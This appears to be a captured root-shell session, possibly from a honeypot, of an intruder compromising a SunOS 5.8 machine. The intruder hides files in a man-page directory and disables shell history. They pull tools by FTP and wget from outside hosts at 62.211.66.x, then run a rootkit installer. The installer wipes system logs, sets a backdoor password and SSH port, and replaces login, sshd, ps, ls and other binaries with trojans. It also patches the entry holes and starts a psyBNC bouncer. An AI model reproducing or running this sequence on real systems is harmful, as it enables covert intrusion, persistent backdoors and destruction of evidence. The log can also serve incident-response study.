# uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'` SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10 /core: No such file or directory /var/dt/tmp/DTSPCD.log: No such file or directory BD PID(s): 1773 # wget wget: not found # w 9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01 User tty login@ idle JCPU PCPU what # /bin/sh -i unset HISTFILE # unset DISPLAY mkdir /usr/share/man/man1/.old cd /usr/share/man/man1/.old # # # ftp 62.211.66.16 21 bobzz ftp: ioctl(TIOCGETP): Invalid argument Password:joka get wget get dlp get solbnc get iupv6sun Name (62.211.66.16:root): iupv6sun: No such file or directory. get ipv6sun quit # ls dlp ipv6sun solbnc wget # chmod +x solbnc wget dlp # ./wget wget: missing URL Usage: wget [OPTION]... [URL]... Try `wget --help' for more options. # ./wget http://62.211.66.53/bobzz/sol.tar.gz --09:47:58-- http://62.211.66.53:80/bobzz/sol.tar.gz => `sol.tar.gz' Connecting to 62.211.66.53:80... connected! HTTP request sent, awaiting response... 200 OK Length: 1,884,160 [application/x-tar] 0K -> .......... .......... .......... .......... .......... [ 2%] 50K -> .......... .......... .......... .......... .......... [ 5%] 100K -> .......... .......... .......... .......... .......... [ 8%] 150K -> .......... .......... .......... .......... .......... [ 10%] 200K -> .......... .......... .......... .......... .......... [ 13%] 250K -> .......... .......... .......... .......... .......... [ 16%] 300K -> .......... .......... .......... .......... .......... [ 19%] 350K -> .......... .......... .......... .......... .......... [ 21%] 400K -> .......... .......... .......... .......... .......... [ 24%] 450K -> .......... .......... .......... .......... .......... [ 27%] 500K -> .......... .......... .......... .......... .......... [ 29%] 550K -> .......... .......... .......... .......... .......... [ 32%] 600K -> .......... .......... .......... .......... .......... [ 35%] 650K -> .......... .......... .......... .......... .......... [ 38%] 700K -> .......... .......... .......... .......... .......... [ 40%] 750K -> .......... .......... .......... .......... .......... [ 43%] 800K -> .......... .......... .......... .......... .......... [ 46%] 850K -> .......... .......... .......... .......... .......... [ 48%] 900K -> .......... .......... .......... .......... .......... [ 51%] 950K -> .......... .......... .......... .......... .......... [ 54%] 1000K -> .......... .......... .......... .......... .......... [ 57%] 1050K -> .......... .......... .......... .......... .......... [ 59%] 1100K -> .......... .......... .......... .......... .......... [ 62%] 1150K -> .......... .......... .......... .......... .......... [ 65%] 1200K -> .......... .......... .......... .......... .......... [ 67%] 1250K -> .......... .......... .......... .......... .......... [ 70%] 1300K -> .......... .......... .......... .......... .......... [ 73%] 1350K -> .......... .......... .......... .......... .......... [ 76%] 1400K -> .......... .......... .......... .......... .......... [ 78%] 1450K -> .......... .......... .......... .......... .......... [ 81%] 1500K -> .......... .......... .......... .......... .......... [ 84%] 1550K -> .......... .......... .......... .......... .......... [ 86%] 1600K -> .......... .......... .......... .......... .......... [ 89%] 1650K -> .......... .......... .......... .......... .......... [ 92%] 1700K -> .......... .......... .......... .......... .......... [ 95%] 1750K -> .......... .......... .......... .......... .......... [ 97%] 1800K -> .......... .......... .......... .......... [100%] 09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160] # rrrrrretar -xf sol.tar.gz rrrrrretar: not found # cd sol sol: does not exist # ./setup ./setup: not found # cd sol sol: does not exist # tar -xf sol.tar.gz # cd sol # ./setup [0;36mbobz oN ircNet on join #privè /\ /\ _/ \ ___| Autor: bobz |___ / \_ \ / \ / \/ \/ ******** ******** ** ** ** ** ** ** * * ******* ********** ** ** * * ******* ** ** ****** ******** ** ** ** ****** ********** ******* ** ** ** ** ** ** ******* ** ** ** ** ** ** ********** ** ** ** ** /\ /\ _/ \ ___| Autor: bobz |___ / \_ \ / \ / \/ \/ ...:::[ Autore bobz ]:::... ...:::[ On IRcnEt On Join #bobz ]:::... Ti:AmO:RosariADelete Logz... ------- Deleting /var/log... /var/log/secure: No such file or directory /var/log/secure.1: No such file or directory /var/log/secure.2: No such file or directory /var/log/secure.3: No such file or directory /var/log/secure.4: No such file or directory /var/log/boot.log: No such file or directory /var/log/boot.log.1: No such file or directory /var/log/boot.log.2: No such file or directory /var/log/boot.log.3: No such file or directory /var/log/boot.log.4: No such file or directory /var/log/cron: No such file or directory /var/log/cron.1: No such file or directory /var/log/cron.2: No such file or directory /var/log/cron.3: No such file or directory /var/log/cron.4: No such file or directory /var/log/lastlog: No such file or directory /var/log/xferlog: No such file or directory /var/log/xferlog.1: No such file or directory /var/log/xferlog.2: No such file or directory /var/log/xferlog.3: No such file or directory /var/log/xferlog.4: No such file or directory /var/log/wtmp: No such file or directory /var/log/wtmp.1: No such file or directory /var/log/spooler: No such file or directory /var/log/spooler.1: No such file or directory /var/log/spooler.2: No such file or directory /var/log/spooler.3: No such file or directory /var/log/spooler.4: No such file or directory --- LogZ Cancellati... Delete LogZ by warning [1;37m*[0;37m Starting up at: [0;36m1038585350[0;37m [1;37m*[0;37m Installing from /usr/share/man/man1/.old/sol - Will erase /usr/share/man/man1/.old/sol after install [1;37m*[0;37m Checking for existing rootkits.. * Checking for existing rootkits.. * checking /etc/rc2 and /etc/rc3 for rootkits... * Rootkits Removed from config files * checking crond configs for rootkits... * Rootkits Removed from crond config files *** WARNING *** 2 suspicious files found in /dev [1;37m***[0;37m Insert Rootkit Password : mixer [1;37m***[0;37m Using Password mixer [1;37m***[0;37m Insert Rootkit SSH Port : 5001 [1;37m***[0;37m Using Port 5001 [1;37m***[0;37m Insert Rootkit PsyBNC Port : 7000 [1;37m***[0;37m Using Port 7000 File processed... [1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done. [1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete. [1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core lpset lpstat netpr arp chkperm Complete. [1;37m*[0;37m Starting Patcher... * Patching... DTSCD PATCHED LPD PATCHED fingerd cmsd ttdbserverd sadmind statd rquotad rusersd cachefsd bindshells snmpXdmid Done. --09:56:21-- ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip => `111085-02.zip' Connecting to sunsolve.sun.com:21... connected! Logging in as anonymous ... Logged in! ==> TYPE I ... done. ==> CWD pub/patches ... done. ==> PORT ... done. ==> RETR 111085-02.zip ... done. Length: 27,300 (unauthoritative) 0K -> .......... .......... ...... [100%] 09:56:45 (1.83 KB/s) - `111085-02.zip' saved [27300] Archive: 111085-02.zip creating: 111085-02/ inflating: 111085-02/.diPatch creating: 111085-02/SUNWcsu/ inflating: 111085-02/SUNWcsu/pkgmap inflating: 111085-02/SUNWcsu/pkginfo creating: 111085-02/SUNWcsu/install/ inflating: 111085-02/SUNWcsu/install/checkinstall inflating: 111085-02/SUNWcsu/install/copyright inflating: 111085-02/SUNWcsu/install/i.none inflating: 111085-02/SUNWcsu/install/patch_checkinstall inflating: 111085-02/SUNWcsu/install/patch_postinstall inflating: 111085-02/SUNWcsu/install/postinstall inflating: 111085-02/SUNWcsu/install/preinstall creating: 111085-02/SUNWcsu/reloc/ creating: 111085-02/SUNWcsu/reloc/usr/ creating: 111085-02/SUNWcsu/reloc/usr/bin/ inflating: 111085-02/SUNWcsu/reloc/usr/bin/login inflating: 111085-02/README.111085-02 Copyright 2001 Sun Microsystems, Inc. All rights reserved. This appears to be an attempt to install the same architecture and version of a package which is already installed. This installation will attempt to overwrite this package. PaTcH_MsG 2 Patch number 111085-02 is already applied. Installation of was suspended (administration). No changes were made to the system. --09:56:49-- ftp://sunsolve.sun.com:21/pub/patches/108949-07.zip => `108949-07.zip' Connecting to sunsolve.sun.com:21... connected! Logging in as anonymous ... Logged in! ==> TYPE I ... done. ==> CWD pub/patches ... done. ==> PORT ... done. ==> RETR 108949-07.zip ... done. Length: 1,033,092 (unauthoritative) 0K -> .......... .......... .......... .......... .......... [ 4%] 50K -> .......... .......... .......... .......... .......... [ 9%] 100K -> .......... .......... .......... .......... .......... [ 14%] 150K -> .......... .......... .......... .......... .......... [ 19%] 200K -> .......... .......... .......... .......... .......... [ 24%] 250K -> .......... .......... .......... .......... .......... [ 29%] 300K -> .......... .......... .......... .......... .......... [ 34%] 350K -> .......... .......... .......... .......... .......... [ 39%] 400K -> .......... .......... .......... .......... .......... [ 44%] 450K -> .......... .......... .......... .......... .......... [ 49%] 500K -> .......... .......... .......... .......... .......... [ 54%] 550K -> .......... .......... .......... .......... .......... [ 59%] 600K -> .......... .......... .......... .......... .......... [ 64%] 650K -> .......... .......... .......... .......... .......... [ 69%] 700K -> .......... .......... .......... .......... .......... [ 74%] 750K -> .......... .......... .......... .......... .......... [ 79%] 800K -> .......... .......... .......... .......... .......... [ 84%] 850K -> .......... .......... .......... .......... .......... [ 89%] 900K -> .......... .......... .......... .......... .......... [ 94%] 950K -> .......... .......... .......... .......... .......... [ 99%] 1000K -> ........ [100%] 10:01:00 (4.20 KB/s) - `108949-07.zip' saved [1033092] Archive: 108949-07.zip creating: 108949-07/ inflating: 108949-07/.diPatch inflating: 108949-07/postbackout creating: 108949-07/SUNWdtbas/ inflating: 108949-07/SUNWdtbas/pkgmap inflating: 108949-07/SUNWdtbas/pkginfo creating: 108949-07/SUNWdtbas/install/ inflating: 108949-07/SUNWdtbas/install/checkinstall inflating: 108949-07/SUNWdtbas/install/copyright inflating: 108949-07/SUNWdtbas/install/depend inflating: 108949-07/SUNWdtbas/install/i.none inflating: 108949-07/SUNWdtbas/install/patch_checkinstall inflating: 108949-07/SUNWdtbas/install/patch_postinstall inflating: 108949-07/SUNWdtbas/install/postinstall inflating: 108949-07/SUNWdtbas/install/preinstall creating: 108949-07/SUNWdtbas/reloc/ creating: 108949-07/SUNWdtbas/reloc/dt/ creating: 108949-07/SUNWdtbas/reloc/dt/lib/ inflating: 108949-07/SUNWdtbas/reloc/dt/lib/libDtHelp.so.1 inflating: 108949-07/SUNWdtbas/reloc/dt/lib/libDtSvc.so.1 creating: 108949-07/SUNWdtbax/ inflating: 108949-07/SUNWdtbax/pkgmap inflating: 108949-07/SUNWdtbax/pkginfo creating: 108949-07/SUNWdtbax/install/ inflating: 108949-07/SUNWdtbax/install/checkinstall inflating: 108949-07/SUNWdtbax/install/copyright inflating: 108949-07/SUNWdtbax/install/depend inflating: 108949-07/SUNWdtbax/install/i.none inflating: 108949-07/SUNWdtbax/install/patch_checkinstall inflating: 108949-07/SUNWdtbax/install/patch_postinstall inflating: 108949-07/SUNWdtbax/install/postinstall inflating: 108949-07/SUNWdtbax/install/preinstall creating: 108949-07/SUNWdtbax/reloc/ creating: 108949-07/SUNWdtbax/reloc/dt/ creating: 108949-07/SUNWdtbax/reloc/dt/lib/ creating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/ inflating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/libDtHelp.so.1 inflating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/libDtSvc.so.1 inflating: 108949-07/postpatch inflating: 108949-07/README.108949-07 Copyright 2001 Sun Microsystems, Inc. All rights reserved. This appears to be an attempt to install the same architecture and version of a package which is already installed. This installation will attempt to overwrite this package. Installation of was successful. Copyright 2001 Sun Microsystems, Inc. All rights reserved. This appears to be an attempt to install the same architecture and version of a package which is already installed. This installation will attempt to overwrite this package. Installation of was successful. Archive: 111606-02.zip creating: 111606-02/ inflating: 111606-02/.diPatch creating: 111606-02/SUNWftpu/ inflating: 111606-02/SUNWftpu/pkgmap inflating: 111606-02/SUNWftpu/pkginfo creating: 111606-02/SUNWftpu/install/ inflating: 111606-02/SUNWftpu/install/checkinstall inflating: 111606-02/SUNWftpu/install/copyright inflating: 111606-02/SUNWftpu/install/i.none inflating: 111606-02/SUNWftpu/install/patch_checkinstall inflating: 111606-02/SUNWftpu/install/patch_postinstall inflating: 111606-02/SUNWftpu/install/postinstall inflating: 111606-02/SUNWftpu/install/preinstall creating: 111606-02/SUNWftpu/reloc/ creating: 111606-02/SUNWftpu/reloc/usr/ creating: 111606-02/SUNWftpu/reloc/usr/sbin/ inflating: 111606-02/SUNWftpu/reloc/usr/sbin/in.ftpd inflating: 111606-02/README.111606-02 Copyright 2001 Sun Microsystems, Inc. All rights reserved. This appears to be an attempt to install the same architecture and version of a package which is already installed. This installation will attempt to overwrite this package. Installation of was successful. PS Trojaned[1;37m*[0;37m Primary network interface is of type: [0;36mhme[0;37m [1;37m*[0;37m Copying utils.. passgen fixer wipe utime crt idstart ssh-dxe syn README Done. [1;37m*[0;37m psyBNC has now been configured on port 7000 (default) with no IDENT [1;37m*[0;37m erasing rootkit... ./setup: test: unknown operator 16 # ./startbnc .-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. ,----.,----.,-. ,-.,---.,--. ,-.,----. | O || ,-' \ \/ / | o || \| || ,--' | _/ _\ \ \ / | o< | |\ || |__ |_| |____/ |__| |___||_| \_| \___| Version 2.2.1 (c) 1999-2000 the most psychoid and the cool lam3rz Group IRCnet `-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-' Configuration File: psybnc.conf No logfile specified, logging to log/psybnc.log Listening on: 0.0.0.0 port 7000 psyBNC2.2.1-cBtITLdDMSNp started (PID 3262) ^[[1;37m*^[[0;37m psyBNC installed - loaded on reboot :> # cd .. # ./solbnc # ./dlp Delete LogZ by bobbino ------- Deleting /var/log... /var/log/secure: No such file or directory /var/log/secure.1: No such file or directory /var/log/secure.2: No such file or directory /var/log/secure.3: No such file or directory /var/log/secure.4: No such file or directory /var/log/boot.log: No such file or directory /var/log/boot.log.1: No such file or directory /var/log/boot.log.2: No such file or directory /var/log/boot.log.3: No such file or directory /var/log/boot.log.4: No such file or directory /var/log/cron: No such file or directory /var/log/cron.1: No such file or directory /var/log/cron.2: No such file or directory /var/log/cron.3: No such file or directory /var/log/cron.4: No such file or directory /var/log/lastlog: No such file or directory /var/log/xferlog: No such file or directory /var/log/xferlog.1: No such file or directory /var/log/xferlog.2: No such file or directory /var/log/xferlog.3: No such file or directory /var/log/xferlog.4: No such file or directory /var/log/wtmp: No such file or directory /var/log/wtmp.1: No such file or directory /var/log/spooler: No such file or directory /var/log/spooler.1: No such file or directory /var/log/spooler.2: No such file or directory /var/log/spooler.3: No such file or directory /var/log/spooler.4: No such file or directory --- LogZ Cancellati... Delete LogZ by bobbino root 167 1 0 Nov 16 ? 0:00 /usr/sbin/inetd -s root 3325 3265 0 10:02:25 ? 0:00 grep inetd --- Patch..... Attivata by RyO # #